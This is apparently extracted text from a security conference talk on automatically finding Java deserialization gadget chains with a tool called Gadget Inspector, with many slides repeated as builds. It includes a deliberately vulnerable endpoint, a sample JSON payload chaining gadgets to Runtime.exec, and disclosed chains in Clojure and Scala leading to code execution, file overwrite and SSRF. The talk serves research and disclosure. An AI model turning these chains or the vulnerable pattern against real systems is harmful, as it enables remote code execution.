3 https://www.slideshare.net/ikkisoft/defending-against-java-deserialization-vulnerabilities
4 https://www.blackhat.com.docs.us-17.thursday.us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
5 https://appsecus2018.sched.com/event/F04J
Automated Discovery of Deserialization Gadget Chains
Ian Haken
● 2006: Pentesting J2EE, Black Hat 2006, Marc Schönefeld1
● 2015: Marshalling Pickles, AppSecCali 2015, Frohoff and
Lawrence2
Deserialization? That’s so 2016...
1 http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Schoenefeld-up.pdf
2 https://frohoff.github.io/appseccali-marshalling-pickles/
3 https://www.slideshare.net/ikkisoft/defending-against-java-deserialization-vulnerabilities
4 https://www.blackhat.com.docs.us-17.thursday.us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
5 https://appsecus2018.sched.com/event/F04J
Automated Discovery of Deserialization Gadget Chains
Ian Haken
● 2006: Pentesting J2EE, Black Hat 2006, Marc Schönefeld1
● 2015: Marshalling Pickles, AppSecCali 2015, Frohoff and
Lawrence2
● 2016: Defending against Java Deserialization Vulnerabilities,
Bay Area OWASP Meetup, September 2016, Luca Carettoni3
Deserialization? That’s so 2016...
1 http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Schoenefeld-up.pdf
2 https://frohoff.github.io/appseccali-marshalling-pickles/
3 https://www.slideshare.net/ikkisoft/defending-against-java-deserialization-vulnerabilities
4 https://www.blackhat.com.docs.us-17.thursday.us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
5 https://appsecus2018.sched.com/event/F04J
Automated Discovery of Deserialization Gadget Chains
Ian Haken
● 2006: Pentesting J2EE, Black Hat 2006, Marc Schönefeld1
● 2015: Marshalling Pickles, AppSecCali 2015, Frohoff and
Lawrence2
● 2016: Defending against Java Deserialization Vulnerabilities,
Bay Area OWASP Meetup, September 2016, Luca Carettoni3
● 2017: Friday the 13th: JSON Attacks, Black Hat 2017, Muñoz
and Mirosh4
Deserialization? That’s so 2016...
1 http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Schoenefeld-up.pdf
2 https://frohoff.github.io/appseccali-marshalling-pickles/
3 https://www.slideshare.net/ikkisoft/defending-against-java-deserialization-vulnerabilities
4 https://www.blackhat.com.docs.us-17.thursday.us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
5 https://appsecus2018.sched.com/event/F04J
Automated Discovery of Deserialization Gadget Chains
Ian Haken
● 2006: Pentesting J2EE, Black Hat 2006, Marc Schönefeld1
● 2015: Marshalling Pickles, AppSecCali 2015, Frohoff and
Lawrence2
● 2016: Defending against Java Deserialization Vulnerabilities,
Bay Area OWASP Meetup, September 2016, Luca Carettoni3
● 2017: Friday the 13th: JSON Attacks, Black Hat 2017, Muñoz
and Mirosh4
● 2018: Deserialization: what, how and why [not], AppSec USA,
October 2018, Alexei Kojenov5
Deserialization? That’s so 2016...
1 http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Schoenefeld-up.pdf
2 https://frohoff.github.io/appseccali-marshalling-pickles/
3 https://www.slideshare.net/ikkisoft/defending-against-java-deserialization-vulnerabilities
4 https://www.blackhat.com.docs.us-17.thursday.us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
5 https://appsecus2018.sched.com/event/F04J
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Magic methods get executed automatically by
the deserializer, even before deserialization
finishes!
W hy are Deserialization Vulnerabilities so Bad?
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Magic methods get executed automatically by
the deserializer, even before deserialization
finishes!
W hy are Deserialization Vulnerabilities so Bad?
@POST
public String renderUser(
HttpServletRequest request) {
ObjectInputStream ois =
new ObjectInputStream(
request.getInputStream());
User user = (User) ois.readObject();
return user.render();
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Magic methods get executed automatically by
the deserializer, even before deserialization
finishes!
W hy are Deserialization Vulnerabilities so Bad?
@POST
public String renderUser(
HttpServletRequest request) {
ObjectInputStream ois =
new ObjectInputStream(
request.getInputStream());
User user = (User) ois.readObject();
return user.render();
}
public class EvilClass {
public void readObject(
ObjectInputStream ois) {
Runtime.exec(ois.readObject());
}
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
● readObject() and readResolve() are the main ones…
○ But don’t forget about finalize()!
● Many serializable JDK classes implement these
magic methods and call other methods, so there’s a
lot of additional “known entrypoints.”
○ HashMap
■ Object.hashCode()
■ Object.equals()
○ PriorityQueue
■ Comparator.compare()
■ Comparable.compareTo()
Magic methods?
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Magic Methods to Gadget Chains
public class HashMap<K,V> implements Map<K,V> {
private void readObject(ObjectInputStream s) {
int mappings = s.readInt();
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(key.hashCode(), key, value);
}
}
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Magic Methods to Gadget Chains
public class HashMap<K,V> implements Map<K,V> {
private void readObject(ObjectInputStream s) {
int mappings = s.readInt();
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(key.hashCode(), key, value);
}
}
}
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Magic Methods to Gadget Chains
public class HashMap<K,V> implements Map<K,V> {
private void readObject(ObjectInputStream s) {
int mappings = s.readInt();
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(key.hashCode(), key, value);
}
}
}
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
public class FnCompose implements IFn {
private IFn f1, f2;
public Object invoke(Object arg) {
return f2.invoke(f1.invoke(arg));
}
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Magic Methods to Gadget Chains
public class HashMap<K,V> implements Map<K,V> {
private void readObject(ObjectInputStream s) {
int mappings = s.readInt();
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(key.hashCode(), key, value);
}
}
}
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
public class FnCompose implements IFn {
private IFn f1, f2;
public Object invoke(Object arg) {
return f2.invoke(f1.invoke(arg));
}
}
public class FnConstant implements IFn {
private Object value;
public Object invoke(Object arg) {
return value;
}
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Magic Methods to Gadget Chains
public class HashMap<K,V> implements Map<K,V> {
private void readObject(ObjectInputStream s) {
int mappings = s.readInt();
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(key.hashCode(), key, value);
}
}
}
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
public class FnCompose implements IFn {
private IFn f1, f2;
public Object invoke(Object arg) {
return f2.invoke(f1.invoke(arg));
}
}
public class FnConstant implements IFn {
private Object value;
public Object invoke(Object arg) {
return value;
}
}
public class FnEval implements IFn {
public Object invoke(Object arg) {
return Runtime.exec(arg);
}
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Example Payload
{
“@class”: “java.util.HashMap”
“members”: [
2,
{
“@class”: “AbstractTableModel$ff19274a”
__clojureFnMap: {
hashCode: {
“@class”: “FnCompose”
f2: { “@class”: “FnConstant”, value: “/usr/bin/calc” },
f1: { “@class”: “FnEval” }
}
}
},
“val”
]
}
W hat gadget chains are in your
application has nothing to do
with code your application is
calling!
Possible gadget chains are influenced by the
cumulative collection of all transitive
dependencies for your application
Automated Discovery of Deserialization Gadget Chains
Ian Haken
W hat (Java) Libraries are Vulnerable?
● JDK (ObjectInputStream)
● XStream (XML, JSON)
● Jackson (JSON)
● Genson (JSON)
● JSON-IO (JSON)
● FlexSON (JSON)
Libraries have different behavior about what classes they’ll deserialize
and what “magic methods” can automatically be invoked. Keep this in
mind for later…
! Spend some time reading Muñoz and Mirosh!
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Finding Vulnerabilities
● Finding potential vulnerabilities is similar to
finding many application security issues:
○ Does untrusted input (e.g. a request’s body or input stream)
flow into one of the sinks for this vulnerability type?
○ Existing static and dynamic tools are pretty good at
discovery
ObjectInputStream.readObject()
XStream.fromXML()
ObjectMapper.readValue()
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Remediation Options
Automated Discovery of Deserialization Gadget Chains
Ian Haken
● Why not use a better serialization strategy?
Remediation Options
Automated Discovery of Deserialization Gadget Chains
Ian Haken
● Why not use a better serialization strategy?
○ “It’s 2016, there are better options.” -Luca Carettoni
Remediation Options
Automated Discovery of Deserialization Gadget Chains
Ian Haken
● Why not use a better serialization strategy?
○ “It’s 2016, there are better options.” -Luca Carettoni
Remediation Options
Automated Discovery of Deserialization Gadget Chains
Ian Haken
● Why not use a better serialization strategy?
○ “It’s 2016, there are better options.” -Luca Carettoni
Remediation Options
● Is it worth the effort to remediate? How should we prioritize
remediation?
Is my deserialization vulnerability exploitable?
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Finding Exploits
● Known exploits in a few projects:
○ ysoserial: Usually limited to chains in particular libraries and
focused on JDK ObjectInputStream
○ marshalsec: Wider breadth of exploits for alternative deserialization
libraries
● But what about…
○ The specific combination of libraries on my classpath?
○ The non-standard deserialization library that I’m using?
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Existing Gadget Chain Tools
● ysoserial1
○ Collection of known gadget chains and exploits
● joogle2
○ Programatically query about types/methods on the classpath
● Java Deserialization Scanner3
○ Burp Suite plugin; uses known payloads (ysoserial) to discover and exploit vulns.
● marshalsec4
○ Deserialization payload generator for numerous libraries and gadget chains
● NCC Group Burp Plugin5
○ “Mainly based on the work of Muñoz and Mirosh’s Friday the 13th: JSON Attacks”
1 https://github.com/frohoff/ysoserial
2 https://github.com/Contrast-Security-OSS/joogle
3 https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/
4 https://github.com/mbechler/marshalsec
5 https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Building a New Tool to Find Gadget Chains
What we really want is a tool to evaluate risk.
How important is it to remediate this
vulnerability?
● Is a given deserialization vulnerability exploitable?
● What exploits are possible? RCE, SSRF, DoS?
● It doesn’t need to be perfect; a reasonable overestimation
of risk is useful in this context.
● Note: we don’t actually have to actually generate payloads.
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Requirements
● Not looking for vulnerabilities; assume we only use this
tool if we find a vulnerability
● It needs to look at the entire classpath of the application
● It should err on the side of false positives rather than false
negatives
● It should operate on bytecode; we usually have the entire
classpath packaged as a war and may not have sources
(especially if we’re including proprietary, third-party
libraries)
○
Plus it may include libraries written in Groovy, Scala, Clojure, ...
Gadget Inspector
A Java bytecode analysis tool for finding gadget
chains.
Automated Discovery of Deserialization Gadget Chains
Ian Haken
●
Operates on any given classpath, i.e. a particular library or an entire war
●
Reports discovered gadget chains as a sequence of method invocations
●
Performs some simplistic symbolic execution to understand possible
dataflow from method arguments to subsequent method invocations
●
Makes a lot of simplifying assumptions that make code analysis easy
Gadget Inspector
Gadget Inspector
●
CertificateRevokedException.readObject()
●
Collections$CheckedMap.put()
●
TreeMap.put()
●
scala/math/Ordering$$anon$5.compare()
●
scala/PartialFunction$OrElse.apply()
●
...
app.war
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Step 1: Enumerate class/method hierarchy
app.war
●
clojure/FnEval
○
clojure/IFn
○
java/io/Serializable
○
java/lang/Object
●
clojure/FnConstant
○
clojure/IFn
○
java/io/Serializable
○
java/lang/Object
●
clojure/FnCompose
○
clojure/IFn
○
java/io/Serializable
○
java/lang/Object
●
AbstractTableModel$ff19274a
○
java/io/Serializable
○
java/lang/Object
WEB-INF/lib
WEB-INF/classes
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class FnConstant implements IFn {
private Object value;
public Object invoke(Object arg) {
return value;
}
}
Step 2: Discover “Passthrough” Dataflow
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class FnConstant implements IFn {
private Object value;
public Object invoke(Object arg) {
return value;
}
}
Step 2: Discover “Passthrough” Dataflow
Assumption #1: All members of a “tainted” object are also tainted (and
recursively, etc)
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class FnConstant implements IFn {
private Object value;
public Object invoke(Object arg) {
return value;
}
}
Step 2: Discover “Passthrough” Dataflow
Assumption #1: All members of a “tainted” object are also tainted (and
recursively, etc)
●
FnConstant.invoke() -> 0
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class FnConstant implements IFn {
private Object value;
public Object invoke(Object arg) {
return value;
}
}
Step 2: Discover “Passthrough” Dataflow
public class FnDefault {
private FnConstant f;
public Object invoke(Object arg) {
return arg != null ? arg : f.invoke(arg);
}
}
Assumption #1: All members of a “tainted” object are also tainted (and
recursively, etc)
●
FnConstant.invoke() -> 0
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class FnConstant implements IFn {
private Object value;
public Object invoke(Object arg) {
return value;
}
}
Step 2: Discover “Passthrough” Dataflow
public class FnDefault {
private FnConstant f;
public Object invoke(Object arg) {
return arg != null ? arg : f.invoke(arg);
}
}
Assumption #1: All members of a “tainted” object are also tainted (and
recursively, etc)
●
FnConstant.invoke() -> 0
Assumption #2: All branch conditions are satisfiable
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class FnConstant implements IFn {
private Object value;
public Object invoke(Object arg) {
return value;
}
}
Step 2: Discover “Passthrough” Dataflow
public class FnDefault {
private FnConstant f;
public Object invoke(Object arg) {
return arg != null ? arg : f.invoke(arg);
}
}
Assumption #1: All members of a “tainted” object are also tainted (and
recursively, etc)
●
FnConstant.invoke() -> 0
Assumption #2: All branch conditions are satisfiable
●
FnDefault.invoke() -> 1
●
FnDefault.invoke() -> 0
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class FnConstant implements IFn {
private Object value;
public Object invoke(Object arg) {
return value;
}
}
Step 2: Discover “Passthrough” Dataflow
public class FnDefault {
private FnConstant f;
public Object invoke(Object arg) {
return arg != null ? arg : f.invoke(arg);
}
}
Assumption #1: All members of a “tainted” object are also tainted (and
recursively, etc)
●
FnConstant.invoke() -> 0
Assumption #2: All branch conditions are satisfiable
●
FnDefault.invoke() -> 1
●
FnDefault.invoke() -> 0
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
Step 3: Enumerate “Passthrough” Callgraph
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
Step 3: Enumerate “Passthrough” Callgraph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
Step 3: Enumerate “Passthrough” Callgraph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
Step 3: Enumerate “Passthrough” Callgraph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
Step 3: Enumerate “Passthrough” Callgraph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
FnCompose.invoke()
●
1 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
●
0 -> IFn.invoke() @ 1
public class FnCompose implements IFn {
private IFn f1, f2;
public Object invoke(Object arg) {
return f2.invoke(f1.invoke(arg));
}
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
Step 3: Enumerate “Passthrough” Callgraph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
FnCompose.invoke()
●
1 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
●
0 -> IFn.invoke() @ 1
public class FnCompose implements IFn {
private IFn f1, f2;
public Object invoke(Object arg) {
return f2.invoke(f1.invoke(arg));
}
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
Step 3: Enumerate “Passthrough” Callgraph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
FnCompose.invoke()
●
1 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
●
0 -> IFn.invoke() @ 1
public class FnCompose implements IFn {
private IFn f1, f2;
public Object invoke(Object arg) {
return f2.invoke(f1.invoke(arg));
}
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
Step 3: Enumerate “Passthrough” Callgraph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
FnCompose.invoke()
●
1 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
●
0 -> IFn.invoke() @ 1
public class FnCompose implements IFn {
private IFn f1, f2;
public Object invoke(Object arg) {
return f2.invoke(f1.invoke(arg));
}
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
Step 4: Enumerate Sources Using Known Tricks
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
Step 4: Enumerate Sources Using Known Tricks
AbstractTableModel$ff19274a.hashCode() @ 0
Automated Discovery of Deserialization Gadget Chains
Ian Haken
public class AbstractTableModel$ff19274a {
private IPersistentMap __clojureFnMap;
public int hashCode() {
IFn f = __clojureFnMap.get("hashCode");
return (int)(f.invoke(this));
}
}
Step 4: Enumerate Sources Using Known Tricks
AbstractTableModel$ff19274a.hashCode() @ 0
Limitation #1: Relies on known tricks. Some tricks (e.g. HashMap -> hashCode)
we could derive anyway, but others (like DynamicProxy) we could not.
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Step 5: BFS on Call Graph for Chains
Sources
●
AbstractTableModel$ff19274a.hashCode() @ 0
Call Graph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
FnCompose.invoke()
●
1 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
●
0 -> IFn.invoke() @ 1
FnEval.invoke()
●
1 -> Runtime.exec() @ 1
Chain
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Step 5: BFS on Call Graph for Chains
Sources
●
AbstractTableModel$ff19274a.hashCode() @ 0
Call Graph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
FnCompose.invoke()
●
1 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
●
0 -> IFn.invoke() @ 1
FnEval.invoke()
●
1 -> Runtime.exec() @ 1
Chain
●
AbstractTableModel...hashCode() @ 0
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Step 5: BFS on Call Graph for Chains
Sources
●
AbstractTableModel$ff19274a.hashCode() @ 0
Call Graph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
FnCompose.invoke()
●
1 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
●
0 -> IFn.invoke() @ 1
FnEval.invoke()
●
1 -> Runtime.exec() @ 1
Chain
Assumption #3: Any method implementation can be jumped to (as long as its
class is “serializable”)
●
AbstractTableModel...hashCode() @ 0
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Step 5: BFS on Call Graph for Chains
Sources
●
AbstractTableModel$ff19274a.hashCode() @ 0
Call Graph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
FnCompose.invoke()
●
1 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
●
0 -> IFn.invoke() @ 1
FnEval.invoke()
●
1 -> Runtime.exec() @ 1
Chain
Assumption #3: Any method implementation can be jumped to (as long as its
class is “serializable”)
●
AbstractTableModel...hashCode() @ 0
●
FnCompose.invoke() @ 0
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Step 5: BFS on Call Graph for Chains
Sources
●
AbstractTableModel$ff19274a.hashCode() @ 0
Call Graph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
FnCompose.invoke()
●
1 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
●
0 -> IFn.invoke() @ 1
FnEval.invoke()
●
1 -> Runtime.exec() @ 1
Chain
Assumption #3: Any method implementation can be jumped to (as long as its
class is “serializable”)
●
AbstractTableModel...hashCode() @ 0
●
FnCompose.invoke() @ 0
●
FnEval @ 1
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Step 5: BFS on Call Graph for Chains
Sources
●
AbstractTableModel$ff19274a.hashCode() @ 0
Call Graph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
FnCompose.invoke()
●
1 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
●
0 -> IFn.invoke() @ 1
FnEval.invoke()
●
1 -> Runtime.exec() @ 1
Chain
Assumption #3: Any method implementation can be jumped to (as long as its
class is “serializable”)
●
AbstractTableModel...hashCode() @ 0
●
FnCompose.invoke() @ 0
●
FnEval @ 1
●
Runtime.exec() @ 1
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Step 5: BFS on Call Graph for Chains
Sources
●
AbstractTableModel$ff19274a.hashCode() @ 0
Call Graph
AbstractTableModel$ff19274a.hashCode()
●
0 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
FnCompose.invoke()
●
1 -> IFn.invoke() @ 1
●
0 -> IFn.invoke() @ 0
●
0 -> IFn.invoke() @ 1
FnEval.invoke()
●
1 -> Runtime.exec() @ 1
Chain
Assumption #3: Any method implementation can be jumped to (as long as its
class is “serializable”)
●
AbstractTableModel...hashCode() @ 0
●
FnCompose.invoke() @ 0
●
FnEval @ 1
●
Runtime.exec() @ 1
Limitation #2: Chain discovery relies on a list of known “interesting” sinks
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Gadget Inspector supports some customization on the analysis
● What is considered “serializable”?
○
For JRE deserialization, anything implementing java.lang.Serializable
○
For XStream, it depends on the convertors that are enabled
■
And when using custom convertors, it gets even more subtle
○
For Jackson, any class with a no-arg constructor
● What are the deserialization sources (i.e. magic methods)?
○
For Jackson we only start in constructors
● What method implementations should we consider?
○
For JRE deserialization, all implementations in a serializable class
○
For Jackson, depends on annotations and configuration
Deserialization Library Flexibility
OSS Library Results
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Ran Gadget Inspector against the 100 most popular java
libraries (according to mvnrepository.com and javalibs.com)
looking for exploits against standard Java deserialization
● It did rediscover several known gadget chains
● Not that many libraries actually have classes implementing
java.io.Serializable...
○ But there were some interesting new findings!
● Had a handful of false positives but not as many as you’d expect
○ Mostly because reflection is hard to reason about
Results: OSS Library Scans
Automated Discovery of Deserialization Gadget Chains
Ian Haken
commons-collections » commons-collections
38th most popular maven dependency
1. ....corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
invoke(Object, Method, Object[]) (0)
2. org.apache.commons.collections.map.LazyMap.get(Object) (0)
3. org.apache.commons.collections.functors.InvokerTransformer
transform(Object) (0)
4. java.lang.reflect.Method.invoke(Object, Object[]) (0)
Results: Old Gadget Chains
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
Automated Discovery of Deserialization Gadget Chains
Ian Haken
New Gadget Chains: Clojure
org.clojure » clojure
6th most popular maven dependency
1.
clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a.hashCode() (0)
2.
clojure.main$load_script.invoke(Object) (1)
3.
clojure.main$load_script.invokeStatic(Object) (0)
4.
clojure.lang.Compiler.loadFile(String) (0)
5.
FileInputStream.<init>(String) (1)
Tweaked this result to invoke clojure.main$eval_opt instead of
clojure.main$load_script to invoke arbitrary code.
Reported to clojure-dev July 2017, affecting 1.8.0 and all earlier versions.
Serialization of AbstractTableModel$ff19274a disabled in 1.9.0 release
(Dec, 2017).
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Clojure.java
Automated Discovery of Deserialization Gadget Chains
Ian Haken
New Gadget Chains: Scala
org.scala-lang » scala-library
3rd most popular maven dependency
1.
scala.math.Ordering$$anon$5.compare(Object, Object) (0)
2.
scala.PartialFunction$OrElse.apply(Object) (0)
3.
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1
applyOrElse(Object, scala.Function1) (0)
4.
scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply() (0)
5.
java.io.FileOutputStream.<init>(File, boolean) (1)
Allows you to write/overwrite a file with 0 bytes.
Possible DoS? Zero-out a blacklist?
https://github.com/JackOfMostTrades/ysoserial/blob/master/src/main/java/ysoserial/payloads/Scala.java
Automated Discovery of Deserialization Gadget Chains
Ian Haken
New Gadget Chains: Scala
1. scala.math.Ordering$$anon$5.compare(Object, Object) (0)
2. scala.PartialFunction$OrElse.apply(Object) (0)
3. scala.sys.process.processInternal$$anonfun$onIOInterrupt$1
applyOrElse(Object, scala.Function1) (0)
4. scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$
$lessinit$greater$1.apply() (0)
5. java.net.URL.openStream() (0)
SSRF: Causes application to perform a GET on
an arbitrary URL.
https://github.com/JackOfMostTrades/ysoserial/blob/master/src/main/java/ysoserial/payloads/Scala.java
Automated Discovery of Deserialization Gadget Chains
Ian Haken
New Gadget Chains: Clojure2
In rerunning Gadget Inspector on the latest release (1.10.0-alpha4) in
preparation for this presentation, a different entry point was
discovered:
1. clojure.lang.ASeq.hashCode() (0)
2. clojure.lang.Iterate.first() (0)
3. clojure.main$load_script.invoke(Object) (1)
4. clojure.main$load_script.invokeStatic(Object) (0)
5. clojure.lang.Compiler.loadFile(String) (0)
6. FileInputStream.<init>(String) (1)
Confirmed the same tweak to clojure.main$eval_opt works for
arbitrary code execution. Affects all releases since 1.8.0.
https://github.com/JackOfMostTrades/ysoserial/blob/master/src/main/java/ysoserial/payloads/Clojure2.java
Netflix App Results
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Results: Netflix Internal Webapp 1
Potentially dangerous use of Jackson deserialization:
public void doSomething(String body, String queryParam) {
Object requestObject = objectMapper.readValue(
body, Class.forName(queryParam));
●
Can only deserialize classes with no-arg constructors
●
The only entry points are no-arg constructors
But still, the app has ~200MB classpath. So maybe there’s something
there...
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Results: Netflix Internal Webapp 1
Potentially dangerous use of Jackson deserialization:
public void doSomething(String body, String queryParam) {
Object requestObject = objectMapper.readValue(
body, Class.forName(queryParam));
●
Can only deserialize classes with no-arg constructors
●
The only entry points are no-arg constructors
But still, the app has ~200MB classpath. So maybe there’s something
there...
Result: A few false positives and nothing very interesting.
Take-away: Remediation is a low priority
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Results: Netflix Internal Webapp 2
Used a non-standard deserialization library,
subject to some unique constraints
● Invokes readResolve() but not readObject()
● Serialized objects do not need to implement Serializable
● Member fields of serialized objects cannot have a $ in the
name.
○
Non-static inner classes always have an implicit $outer member name.
● No serialization support for arrays or generic maps
● No null member values
Automated Discovery of Deserialization Gadget Chains
Ian Haken
1. com.thoughtworks.xstream.mapper.AbstractAttributeAliasingMapper.readResolve() (0)
2. org.apache.commons.configuration.ConfigurationMap$ConfigurationSet.iterator() (0)
3. ...configuration.ConfigurationMap$ConfigurationSet$ConfigurationSetIterator.<init>() (0)
4. org.apache.commons.configuration.CompositeConfiguration.getKeys() (0)
